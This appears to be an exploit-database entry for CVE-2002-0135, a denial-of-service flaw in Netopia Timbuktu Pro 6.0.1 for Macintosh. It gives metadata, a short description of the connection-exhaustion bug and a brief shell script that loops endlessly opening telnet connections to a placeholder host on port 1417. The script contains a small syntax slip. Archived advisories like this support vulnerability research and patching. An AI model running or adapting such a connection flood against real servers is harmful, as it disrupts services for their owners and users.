Netopia Timbuktu Pro for Macintosh 6.0.1 - Denial of Service

Author: Tekno pHReak
type: dos
platform: osx
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date_added: 2002-01-18 
date_updated: 2012-09-10 
verified: 1 
codes: CVE-2002-0135;OSVDB-11971 
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source: https://www.securityfocus.com/bid/3918/info

Timbuktu is a remote administration tool. It is available for the Microsoft Window's family of operating systems and Power PC based Macintosh computers. It supports a variety of administrative tasks, including full remote access to the user's desktop.

A vulnerability exists in some versions of Timbuktu. If a large number of connections are created to the Timbuktu server, the server will no longer accept new connections.

#!/bin/sh
while:
do
telnet tb2.host.com 1417 &
done